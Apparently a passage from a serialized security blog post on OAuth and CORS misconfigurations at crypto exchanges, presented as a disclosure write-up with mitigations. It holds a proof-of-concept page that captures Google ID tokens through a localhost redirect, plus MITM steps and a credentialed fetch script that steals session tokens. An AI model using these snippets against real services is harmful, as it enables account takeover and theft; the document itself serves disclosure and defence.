type":24,"tag":327,"props":107714,"children":107715},{"style":346},[107716],{"type":29,"value":8989},{"type":24,"tag":327,"props":107718,"children":107719},{"class":329,"line":586},[107720],{"type":24,"tag":327,"props":107721,"children":107722},{"emptyLinePlaceholder":16},[107723],{"type":29,"value":544},{"type":24,"tag":327,"props":107725,"children":107726},{"class":329,"line":1017},[107727,107731,107735,107739,107743,107747,107751,107755,107760],{"type":24,"tag":327,"props":107728,"children":107729},{"style":334},[107730],{"type":29,"value":77424},{"type":24,"tag":327,"props":107732,"children":107733},{"style":346},[107734],{"type":29,"value":77450},{"type":24,"tag":327,"props":107736,"children":107737},{"style":381},[107738],{"type":29,"value":384},{"type":24,"tag":327,"props":107740,"children":107741},{"style":340},[107742],{"type":29,"value":77459},{"type":24,"tag":327,"props":107744,"children":107745},{"style":346},[107746],{"type":29,"value":77464},{"type":24,"tag":327,"props":107748,"children":107749},{"style":340},[107750],{"type":29,"value":45925},{"type":24,"tag":327,"props":107752,"children":107753},{"style":346},[107754],{"type":29,"value":349},{"type":24,"tag":327,"props":107756,"children":107757},{"style":844},[107758],{"type":29,"value":107759},"\"http://localhost:3000\"",{"type":24,"tag":327,"props":107761,"children":107762},{"style":346},[107763],{"type":29,"value":1045},{"type":24,"tag":327,"props":107765,"children":107766},{"class":329,"line":1026},[107767,107771],{"type":24,"tag":327,"props":107768,"children":107769},{"style":340},[107770],{"type":29,"value":77481},{"type":24,"tag":327,"props":107772,"children":107773},{"style":346},[107774],{"type":29,"value":77486},{"type":24,"tag":327,"props":107776,"children":107777},{"class":329,"line":1048},[107778],{"type":24,"tag":327,"props":107779,"children":107780},{"style":346},[107781],{"type":29,"value":535},{"type":24,"tag":327,"props":107783,"children":107784},{"class":329,"line":1067},[107785],{"type":24,"tag":327,"props":107786,"children":107787},{"emptyLinePlaceholder":16},[107788],{"type":29,"value":544},{"type":24,"tag":327,"props":107790,"children":107791},{"class":329,"line":1075},[107792,107796,107800,107804],{"type":24,"tag":327,"props":107793,"children":107794},{"style":334},[107795],{"type":29,"value":77508},{"type":24,"tag":327,"props":107797,"children":107798},{"style":334},[107799],{"type":29,"value":13773},{"type":24,"tag":327,"props":107801,"children":107802},{"style":340},[107803],{"type":29,"value":77517},{"type":24,"tag":327,"props":107805,"children":107806},{"style":346},[107807],{"type":29,"value":9697},{"type":24,"tag":327,"props":107809,"children":107810},{"class":329,"line":1084},[107811,107815,107819,107823,107827],{"type":24,"tag":327,"props":107812,"children":107813},{"style":340},[107814],{"type":29,"value":77529},{"type":24,"tag":327,"props":107816,"children":107817},{"style":346},[107818],{"type":29,"value":77534},{"type":24,"tag":327,"props":107820,"children":107821},{"style":381},[107822],{"type":29,"value":384},{"type":24,"tag":327,"props":107824,"children":107825},{"style":397},[107826],{"type":29,"value":77543},{"type":24,"tag":327,"props":107828,"children":107829},{"style":346},[107830],{"type":29,"value":364},{"type":24,"tag":327,"props":107832,"children":107833},{"class":329,"line":1100},[107834,107838],{"type":24,"tag":327,"props":107835,"children":107836},{"style":340},[107837],{"type":29,"value":77555},{"type":24,"tag":327,"props":107839,"children":107840},{"style":346},[107841],{"type":29,"value":497},{"type":24,"tag":327,"props":107843,"children":107844},{"class":329,"line":1128},[107845,107849,107853,107857],{"type":24,"tag":327,"props":107846,"children":107847},{"style":334},[107848],{"type":29,"value":77567},{"type":24,"tag":327,"props":107850,"children":107851},{"style":346},[107852],{"type":29,"value":349},{"type":24,"tag":327,"props":107854,"children":107855},{"style":844},[107856],{"type":29,"value":77576},{"type":24,"tag":327,"props":107858,"children":107859},{"style":346},[107860],{"type":29,"value":364},{"type":24,"tag":327,"props":107862,"children":107863},{"class":329,"line":1148},[107864,107868,107872],{"type":24,"tag":327,"props":107865,"children":107866},{"style":346},[107867],{"type":29,"value":77588},{"type":24,"tag":327,"props":107869,"children":107870},{"style":340},[107871],{"type":29,"value":77593},{"type":24,"tag":327,"props":107873,"children":107874},{"style":346},[107875],{"type":29,"value":497},{"type":24,"tag":327,"props":107877,"children":107878},{"class":329,"line":1176},[107879,107883],{"type":24,"tag":327,"props":107880,"children":107881},{"style":340},[107882],{"type":29,"value":77605},{"type":24,"tag":327,"props":107884,"children":107885},{"style":346},[107886],{"type":29,"value":497},{"type":24,"tag":327,"props":107888,"children":107889},{"class":329,"line":1184},[107890,107894,107898,107903],{"type":24,"tag":327,"props":107891,"children":107892},{"style":340},[107893],{"type":29,"value":77682},{"type":24,"tag":327,"props":107895,"children":107896},{"style":346},[107897],{"type":29,"value":349},{"type":24,"tag":327,"props":107899,"children":107900},{"style":844},[107901],{"type":29,"value":107902},"\"Test\"",{"type":24,"tag":327,"props":107904,"children":107905},{"style":346},[107906],{"type":29,"value":852},{"type":24,"tag":327,"props":107908,"children":107909},{"class":329,"line":1192},[107910,107914],{"type":24,"tag":327,"props":107911,"children":107912},{"style":340},[107913],{"type":29,"value":77748},{"type":24,"tag":327,"props":107915,"children":107916},{"style":346},[107917],{"type":29,"value":497},{"type":24,"tag":327,"props":107919,"children":107920},{"class":329,"line":1212},[107921,107926,107930],{"type":24,"tag":327,"props":107922,"children":107923},{"style":346},[107924],{"type":29,"value":107925},"                                src ",{"type":24,"tag":327,"props":107927,"children":107928},{"style":381},[107929],{"type":29,"value":384},{"type":24,"tag":327,"props":107931,"children":107932},{"style":844},[107933],{"type":29,"value":107934}," \"https://accounts.google.com/gsi/client\"\n",{"type":24,"tag":327,"props":107936,"children":107937},{"class":329,"line":4841},[107938,107943,107948,107952,107956],{"type":24,"tag":327,"props":107939,"children":107940},{"style":346},[107941],{"type":29,"value":107942},"                                attributes[",{"type":24,"tag":327,"props":107944,"children":107945},{"style":844},[107946],{"type":29,"value":107947},"\"async\"",{"type":24,"tag":327,"props":107949,"children":107950},{"style":346},[107951],{"type":29,"value":16221},{"type":24,"tag":327,"props":107953,"children":107954},{"style":381},[107955],{"type":29,"value":384},{"type":24,"tag":327,"props":107957,"children":107958},{"style":844},[107959],{"type":29,"value":107960}," \"\"\n",{"type":24,"tag":327,"props":107962,"children":107963},{"class":329,"line":4862},[107964,107968,107973,107977,107981],{"type":24,"tag":327,"props":107965,"children":107966},{"style":346},[107967],{"type":29,"value":107942},{"type":24,"tag":327,"props":107969,"children":107970},{"style":844},[107971],{"type":29,"value":107972},"\"defer\"",{"type":24,"tag":327,"props":107974,"children":107975},{"style":346},[107976],{"type":29,"value":16221},{"type":24,"tag":327,"props":107978,"children":107979},{"style":381},[107980],{"type":29,"value":384},{"type":24,"tag":327,"props":107982,"children":107983},{"style":844},[107984],{"type":29,"value":107960},{"type":24,"tag":327,"props":107986,"children":107987},{"class":329,"line":4870},[107988],{"type":24,"tag":327,"props":107989,"children":107990},{"style":346},[107991],{"type":29,"value":77773},{"type":24,"tag":327,"props":107993,"children":107994},{"class":329,"line":4879},[107995,107999],{"type":24,"tag":327,"props":107996,"children":107997},{"style":340},[107998],{"type":29,"value":77748},{"type":24,"tag":327,"props":108000,"children":108001},{"style":346},[108002],{"type":29,"value":497},{"type":24,"tag":327,"props":108004,"children":108005},{"class":329,"line":4913},[108006,108011],{"type":24,"tag":327,"props":108007,"children":108008},{"style":340},[108009],{"type":29,"value":108010},"                                unsafe",{"type":24,"tag":327,"props":108012,"children":108013},{"style":346},[108014],{"type":29,"value":497},{"type":24,"tag":327,"props":108016,"children":108017},{"class":329,"line":4938},[108018,108023],{"type":24,"tag":327,"props":108019,"children":108020},{"style":381},[108021],{"type":29,"value":108022},"                                    +",{"type":24,"tag":327,"props":108024,"children":108025},{"style":844},[108026],{"type":29,"value":108027},"\"\"\"\n",{"type":24,"tag":327,"props":108029,"children":108030},{"class":329,"line":4974},[108031],{"type":24,"tag":327,"props":108032,"children":108033},{"style":844},[108034],{"type":29,"value":108035},"    function handleCredentialResponse(response) {\n",{"type":24,"tag":327,"props":108037,"children":108038},{"class":329,"line":4982},[108039],{"type":24,"tag":327,"props":108040,"children":108041},{"style":844},[108042],{"type":29,"value":108043},"      alert(\"credential: \" + response.credential);\n",{"type":24,"tag":327,"props":108045,"children":108046},{"class":329,"line":4990},[108047],{"type":24,"tag":327,"props":108048,"children":108049},{"style":844},[108050],{"type":29,"value":535},{"type":24,"tag":327,"props":108052,"children":108053},{"class":329,"line":4999},[108054],{"type":24,"tag":327,"props":108055,"children":108056},{"emptyLinePlaceholder":16},[108057],{"type":29,"value":544},{"type":24,"tag":327,"props":108059,"children":108060},{"class":329,"line":5042},[108061],{"type":24,"tag":327,"props":108062,"children":108063},{"style":844},[108064],{"type":29,"value":108065},"    window.onload = async function () {\n",{"type":24,"tag":327,"props":108067,"children":108068},{"class":329,"line":5075},[108069],{"type":24,"tag":327,"props":108070,"children":108071},{"style":844},[108072],{"type":29,"value":108073},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":24,"tag":327,"props":108075,"children":108076},{"class":329,"line":5083},[108077],{"type":24,"tag":327,"props":108078,"children":108079},{"style":844},[108080],{"type":29,"value":108081},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":24,"tag":327,"props":108083,"children":108084},{"class":329,"line":5091},[108085],{"type":24,"tag":327,"props":108086,"children":108087},{"style":844},[108088],{"type":29,"value":108089},"      google.accounts.id.initialize({\n",{"type":24,"tag":327,"props":108091,"children":108092},{"class":329,"line":5100},[108093],{"type":24,"tag":327,"props":108094,"children":108095},{"style":844},[108096],{"type":29,"value":108097},"        client_id: client_id,\n",{"type":24,"tag":327,"props":108099,"children":108100},{"class":329,"line":5176},[108101],{"type":24,"tag":327,"props":108102,"children":108103},{"style":844},[108104],{"type":29,"value":108105},"        callback: handleCredentialResponse,\n",{"type":24,"tag":327,"props":108107,"children":108108},{"class":329,"line":5209},[108109],{"type":24,"tag":327,"props":108110,"children":108111},{"style":844},[108112],{"type":29,"value":108113},"        auto_select: true\n",{"type":24,"tag":327,"props":108115,"children":108116},{"class":329,"line":5217},[108117],{"type":24,"tag":327,"props":108118,"children":108119},{"style":844},[108120],{"type":29,"value":14858},{"type":24,"tag":327,"props":108122,"children":108123},{"class":329,"line":5225},[108124],{"type":24,"tag":327,"props":108125,"children":108126},{"emptyLinePlaceholder":16},[108127],{"type":29,"value":544},{"type":24,"tag":327,"props":108129,"children":108130},{"class":329,"line":5263},[108131],{"type":24,"tag":327,"props":108132,"children":108133},{"style":844},[108134],{"type":29,"value":108135},"      google.accounts.id.renderButton(\n",{"type":24,"tag":327,"props":108137,"children":108138},{"class":329,"line":5276},[108139],{"type":24,"tag":327,"props":108140,"children":108141},{"style":844},[108142],{"type":29,"value":108143},"        document.getElementById(\"g_id_signin\"),\n",{"type":24,"tag":327,"props":108145,"children":108146},{"class":329,"line":5289},[108147],{"type":24,"tag":327,"props":108148,"children":108149},{"style":844},[108150],{"type":29,"value":108151},"        { theme: \"outline\", size: \"large\" }\n",{"type":24,"tag":327,"props":108153,"children":108154},{"class":329,"line":5302},[108155],{"type":24,"tag":327,"props":108156,"children":108157},{"style":844},[108158],{"type":29,"value":14331},{"type":24,"tag":327,"props":108160,"children":108161},{"class":329,"line":5360},[108162],{"type":24,"tag":327,"props":108163,"children":108164},{"emptyLinePlaceholder":16},[108165],{"type":29,"value":544},{"type":24,"tag":327,"props":108167,"children":108168},{"class":329,"line":5369},[108169],{"type":24,"tag":327,"props":108170,"children":108171},{"style":844},[108172],{"type":29,"value":108173},"      google.accounts.id.prompt();\n",{"type":24,"tag":327,"props":108175,"children":108176},{"class":329,"line":38991},[108177],{"type":24,"tag":327,"props":108178,"children":108179},{"style":844},[108180],{"type":29,"value":45710},{"type":24,"tag":327,"props":108182,"children":108183},{"class":329,"line":39012},[108184,108189,108193,108198],{"type":24,"tag":327,"props":108185,"children":108186},{"style":844},[108187],{"type":29,"value":108188},"                                    \"\"\"",{"type":24,"tag":327,"props":108190,"children":108191},{"style":346},[108192],{"type":29,"value":66},{"type":24,"tag":327,"props":108194,"children":108195},{"style":340},[108196],{"type":29,"value":108197},"trimIndent",{"type":24,"tag":327,"props":108199,"children":108200},{"style":346},[108201],{"type":29,"value":15298},{"type":24,"tag":327,"props":108203,"children":108204},{"class":329,"line":87678},[108205],{"type":24,"tag":327,"props":108206,"children":108207},{"style":346},[108208],{"type":29,"value":108209},"                                }\n",{"type":24,"tag":327,"props":108211,"children":108212},{"class":329,"line":87691},[108213],{"type":24,"tag":327,"props":108214,"children":108215},{"style":346},[108216],{"type":29,"value":77773},{"type":24,"tag":327,"props":108218,"children":108219},{"class":329,"line":87699},[108220],{"type":24,"tag":327,"props":108221,"children":108222},{"style":346},[108223],{"type":29,"value":77703},{"type":24,"tag":327,"props":108225,"children":108226},{"class":329,"line":87707},[108227,108231],{"type":24,"tag":327,"props":108228,"children":108229},{"style":340},[108230],{"type":29,"value":77711},{"type":24,"tag":327,"props":108232,"children":108233},{"style":346},[108234],{"type":29,"value":497},{"type":24,"tag":327,"props":108236,"children":108237},{"class":329,"line":87715},[108238,108242,108246,108250,108255],{"type":24,"tag":327,"props":108239,"children":108240},{"style":340},[108241],{"type":29,"value":77723},{"type":24,"tag":327,"props":108243,"children":108244},{"style":346},[108245],{"type":29,"value":1940},{"type":24,"tag":327,"props":108247,"children":108248},{"style":381},[108249],{"type":29,"value":394},{"type":24,"tag":327,"props":108251,"children":108252},{"style":844},[108253],{"type":29,"value":108254},"\"Login here:\"",{"type":24,"tag":327,"props":108256,"children":108257},{"style":346},[108258],{"type":29,"value":1949},{"type":24,"tag":327,"props":108260,"children":108261},{"class":329,"line":87755},[108262,108267],{"type":24,"tag":327,"props":108263,"children":108264},{"style":340},[108265],{"type":29,"value":108266},"                            div",{"type":24,"tag":327,"props":108268,"children":108269},{"style":346},[108270],{"type":29,"value":497},{"type":24,"tag":327,"props":108272,"children":108273},{"class":329,"line":87763},[108274,108279,108283],{"type":24,"tag":327,"props":108275,"children":108276},{"style":346},[108277],{"type":29,"value":108278},"                                id ",{"type":24,"tag":327,"props":108280,"children":108281},{"style":381},[108282],{"type":29,"value":384},{"type":24,"tag":327,"props":108284,"children":108285},{"style":844},[108286],{"type":29,"value":108287}," \"g_id_signin\"\n",{"type":24,"tag":327,"props":108289,"children":108290},{"class":329,"line":94950},[108291],{"type":24,"tag":327,"props":108292,"children":108293},{"style":346},[108294],{"type":29,"value":77773},{"type":24,"tag":327,"props":108296,"children":108297},{"class":329,"line":94958},[108298],{"type":24,"tag":327,"props":108299,"children":108300},{"style":346},[108301],{"type":29,"value":77703},{"type":24,"tag":327,"props":108303,"children":108305},{"class":329,"line":108304},62,[108306],{"type":24,"tag":327,"props":108307,"children":108308},{"style":346},[108309],{"type":29,"value":77788},{"type":24,"tag":327,"props":108311,"children":108313},{"class":329,"line":108312},63,[108314],{"type":24,"tag":327,"props":108315,"children":108316},{"style":346},[108317],{"type":29,"value":77796},{"type":24,"tag":327,"props":108319,"children":108321},{"class":329,"line":108320},64,[108322],{"type":24,"tag":327,"props":108323,"children":108324},{"style":346},[108325],{"type":29,"value":65607},{"type":24,"tag":327,"props":108327,"children":108329},{"class":329,"line":108328},65,[108330,108334,108338,108342,108346,108350],{"type":24,"tag":327,"props":108331,"children":108332},{"style":346},[108333],{"type":29,"value":77811},{"type":24,"tag":327,"props":108335,"children":108336},{"style":340},[108337],{"type":29,"value":77816},{"type":24,"tag":327,"props":108339,"children":108340},{"style":346},[108341],{"type":29,"value":77821},{"type":24,"tag":327,"props":108343,"children":108344},{"style":381},[108345],{"type":29,"value":384},{"type":24,"tag":327,"props":108347,"children":108348},{"style":334},[108349],{"type":29,"value":9722},{"type":24,"tag":327,"props":108351,"children":108352},{"style":346},[108353],{"type":29,"value":852},{"type":24,"tag":327,"props":108355,"children":108357},{"class":329,"line":108356},66,[108358],{"type":24,"tag":327,"props":108359,"children":108360},{"style":346},[108361],{"type":29,"value":535},{"type":24,"tag":25,"props":108363,"children":108364},{},[108365],{"type":29,"value":108366},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":24,"tag":25,"props":108368,"children":108369},{},[108370],{"type":29,"value":108371},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":24,"tag":235,"props":108373,"children":108375},{"id":108374},"how-to-mitigate",[108376],{"type":29,"value":108377},"How to Mitigate",{"type":24,"tag":25,"props":108379,"children":108380},{},[108381],{"type":29,"value":108382},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":24,"tag":228,"props":108384,"children":108386},{"id":108385},"exploiting-cors",[108387],{"type":29,"value":108388},"Exploiting CORS",{"type":24,"tag":25,"props":108390,"children":108391},{},[108392],{"type":29,"value":108393},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":24,"tag":25,"props":108395,"children":108396},{},[108397,108399,108405],{"type":29,"value":108398},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":24,"tag":284,"props":108400,"children":108402},{"className":108401},[],[108403],{"type":29,"value":108404},"http://",{"type":29,"value":108406}," schema for any subdomain:",{"type":24,"tag":317,"props":108408,"children":108412},{"className":108409,"code":108410,"language":108411,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[108413],{"type":24,"tag":284,"props":108414,"children":108415},{"__ignoreMap":7},[108416,108424,108432,108440],{"type":24,"tag":327,"props":108417,"children":108418},{"class":329,"line":330},[108419],{"type":24,"tag":327,"props":108420,"children":108421},{},[108422],{"type":29,"value":108423},"HTTP 200 OK\n",{"type":24,"tag":327,"props":108425,"children":108426},{"class":329,"line":367},[108427],{"type":24,"tag":327,"props":108428,"children":108429},{},[108430],{"type":29,"value":108431},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":24,"tag":327,"props":108433,"children":108434},{"class":329,"line":408},[108435],{"type":24,"tag":327,"props":108436,"children":108437},{},[108438],{"type":29,"value":108439},"Access-Control-Allow-Credentials: true\n",{"type":24,"tag":327,"props":108441,"children":108442},{"class":329,"line":421},[108443],{"type":24,"tag":327,"props":108444,"children":108445},{},[108446],{"type":29,"value":17865},{"type":24,"tag":235,"props":108448,"children":108450},{"id":108449},"cors-misconfiguration-by-lack-of-tls",[108451],{"type":29,"value":108452},"CORS Misconfiguration by Lack of TLS",{"type":24,"tag":25,"props":108454,"children":108455},{},[108456,108458,108464],{"type":29,"value":108457},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":24,"tag":284,"props":108459,"children":108461},{"className":108460},[],[108462],{"type":29,"value":108463},"exchange.com",{"type":29,"value":108465}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":24,"tag":25,"props":108467,"children":108468},{},[108469],{"type":29,"value":108470},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":24,"tag":1380,"props":108472,"children":108473},{},[108474,108494],{"type":24,"tag":179,"props":108475,"children":108476},{},[108477,108479,108484,108486,108492],{"type":29,"value":108478},"Chrome --> won't work because cookies are not sent in ",{"type":24,"tag":284,"props":108480,"children":108482},{"className":108481},[],[108483],{"type":29,"value":108404},{"type":29,"value":108485}," --> ",{"type":24,"tag":284,"props":108487,"children":108489},{"className":108488},[],[108490],{"type":29,"value":108491},"https://",{"type":29,"value":108493}," requests, even if same-site",{"type":24,"tag":179,"props":108495,"children":108496},{},[108497,108499],{"type":29,"value":108498},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":24,"tag":284,"props":108500,"children":108502},{"className":108501},[],[108503],{"type":29,"value":44478},{"type":24,"tag":235,"props":108505,"children":108507},{"id":108506},"exploit-1",[108508],{"type":29,"value":106838},{"type":24,"tag":25,"props":108510,"children":108511},{},[108512],{"type":29,"value":108513},"To exploit it, we must follow some steps:",{"type":24,"tag":175,"props":108515,"children":108516},{},[108517,108522,108527],{"type":24,"tag":179,"props":108518,"children":108519},{},[108520],{"type":29,"value":108521},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":24,"tag":179,"props":108523,"children":108524},{},[108525],{"type":29,"value":108526},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":24,"tag":179,"props":108528,"children":108529},{},[108530,108532,108537],{"type":29,"value":108531},"Use ",{"type":24,"tag":284,"props":108533,"children":108535},{"className":108534},[],[108536],{"type":29,"value":44478},{"type":29,"value":108538}," with CORS to do something malicious using the victim's account",{"type":24,"tag":25,"props":108540,"children":108541},{},[108542],{"type":29,"value":108543},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":24,"tag":25,"props":108545,"children":108546},{},[108547,108549,108554],{"type":29,"value":108548},"Once the redirect to the ",{"type":24,"tag":284,"props":108550,"children":108552},{"className":108551},[],[108553],{"type":29,"value":108404},{"type":29,"value":108555}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":24,"tag":317,"props":108557,"children":108559},{"className":38073,"code":108558,"language":38075,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[108560],{"type":24,"tag":284,"props":108561,"children":108562},{"__ignoreMap":7},[108563,108586,108623,108640,108657,108664,108705],{"type":24,"tag":327,"props":108564,"children":108565},{"class":329,"line":330},[108566,108570,108574,108578,108582],{"type":24,"tag":327,"props":108567,"children":108568},{"style":346},[108569],{"type":29,"value":349},{"type":24,"tag":327,"props":108571,"children":108572},{"style":334},[108573],{"type":29,"value":42858},{"type":24,"tag":327,"props":108575,"children":108576},{"style":346},[108577],{"type":29,"value":46410},{"type":24,"tag":327,"props":108579,"children":108580},{"style":334},[108581],{"type":29,"value":9195},{"type":24,"tag":327,"props":108583,"children":108584},{"style":346},[108585],{"type":29,"value":497},{"type":24,"tag":327,"props":108587,"children":108588},{"class":329,"line":367},[108589,108593,108598,108602,108606,108610,108614,108619],{"type":24,"tag":327,"props":108590,"children":108591},{"style":334},[108592],{"type":29,"value":15417},{"type":24,"tag":327,"props":108594,"children":108595},{"style":356},[108596],{"type":29,"value":108597}," res",{"type":24,"tag":327,"props":108599,"children":108600},{"style":381},[108601],{"type":29,"value":4809},{"type":24,"tag":327,"props":108603,"children":108604},{"style":425},[108605],{"type":29,"value":42924},{"type":24,"tag":327,"props":108607,"children":108608},{"style":340},[108609],{"type":29,"value":39640},{"type":24,"tag":327,"props":108611,"children":108612},{"style":346},[108613],{"type":29,"value":349},{"type":24,"tag":327,"props":108615,"children":108616},{"style":844},[108617],{"type":29,"value":108618},"'https://www.exchange.com/api/session_token'",{"type":24,"tag":327,"props":108620,"children":108621},{"style":346},[108622],{"type":29,"value":55602},{"type":24,"tag":327,"props":108624,"children":108625},{"class":329,"line":408},[108626,108631,108636],{"type":24,"tag":327,"props":108627,"children":108628},{"style":356},[108629],{"type":29,"value":108630},"    credentials:",{"type":24,"tag":327,"props":108632,"children":108633},{"style":844},[108634],{"type":29,"value":108635}," 'include'",{"type":24,"tag":327,"props":108637,"children":108638},{"style":346},[108639],{"type":29,"value":2231},{"type":24,"tag":327,"props":108641,"children":108642},{"class":329,"line":421},[108643,108648,108653],{"type":24,"tag":327,"props":108644,"children":108645},{"style":356},[108646],{"type":29,"value":108647},"    method:",{"type":24,"tag":327,"props":108649,"children":108650},{"style":844},[108651],{"type":29,"value":108652}," 'POST'",{"type":24,"tag":327,"props":108654,"children":108655},{"style":346},[108656],{"type":29,"value":2231},{"type":24,"tag":327,"props":108658,"children":108659},{"class":329,"line":450},[108660],{"type":24,"tag":327,"props":108661,"children":108662},{"style":346},[108663],{"type":29,"value":104921},{"type":24,"tag":327,"props":108665,"children":108666},{"class":329,"line":481},[108667,108672,108676,108681,108685,108689,108693,108697,108701],{"type":24,"tag":327,"props":108668,"children":108669},{"style":356},[108670],{"type":29,"value":108671},"  console",{"type":24,"tag":327,"props":108673,"children":108674},{"style":346},[108675],{"type":29,"value":66},{"type":24,"tag":327,"props":108677,"children":108678},{"style":340},[108679],{"type":29,"value":108680},"log",{"type":24,"tag":327,"props":108682,"children":108683},{"style":346},[108684],{"type":29,"value":349},{"type":24,"tag":327,"props":108686,"children":108687},{"style":425},[108688],{"type":29,"value":39627},{"type":24,"tag":327,"props":108690,"children":108691},{"style":356},[108692],{"type":29,"value":108597},{"type":24,"tag":327,"props":108694,"children":108695},{"style":346},[108696],{"type":29,"value":66},{"type":24,"tag":327,"props":108698,"children":108699},{"style":340},[108700],{"type":29,"value":40709},{"type":24,"tag":327,"props":108702,"children":108703},{"style":346},[108704],{"type":29,"value":10225},{"type":24,"tag":327,"props":108706,"children":108707},{"class":329,"line":500},[108708],{"type":24,"tag":327,"props":108709,"children":108710},{"style":346},[108711],{"type":29,"value":108712},"})();\n",{"type":24,"tag":25,"props":108714,"children":108715},{},[108716],{"type":29,"value":108717},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":24,"tag":235,"props":108719,"children":108720},{"id":47047},[108721],{"type":29,"value":47050},{"type":24,"tag":25,"props":108723,"children":108724},{},[108725,108727,108732],{"type":29,"value":108726},"As mitigation, it is recommended to remove all ",{"type":24,"tag":284,"props":108728,"children":108730},{"className":108729},[],[108731],{"type":29,"value":108404},{"type":29,"value":108733}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":24,"tag":25,"props":108735,"children":108736},{},[108737],{"type":29,"value":108738},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":24,"tag":228,"props":108740,"children":108741},{"id":10412},[108742],{"type":29,"value":226},{"type":24,"tag":25,"props":108744,"children":108745},{},[108746],{"type":29,"value":108747},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":24,"tag":25,"props":108749,"children":108750},{},[108751],{"type":29,"value":108752},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":24,"tag":10448,"props":108754,"children":108755},{},[108756],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":108758},[108759,108764,108769],{"id":106443,"depth":367,"text":106446,"children":108760},[108761,108762,108763],{"id":106454,"depth":408,"text":106457},{"id":106811,"depth":408,"text":106814},{"id":108374,"depth":408,"text":108377},{"id":108385,"depth":367,"text":108388,"children":108765},[108766,108767,108768],{"id":108449,"depth":408,"text":108452},{"id":108506,"depth":408,"text":106838},{"id":47047,"depth":408,"text":47050},{"id":10412,"depth":367,"text":226},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":108774,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":108775,"description":108776,"date":108777,"author":108778,"image":108779,"isFeatured":16,"onBlogPage":16,"tags":108781,"body":108784,"_type":10481,"_id":114556,"_source":10483,"_file":114557,"_stem":114558,"_extension":10486},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready 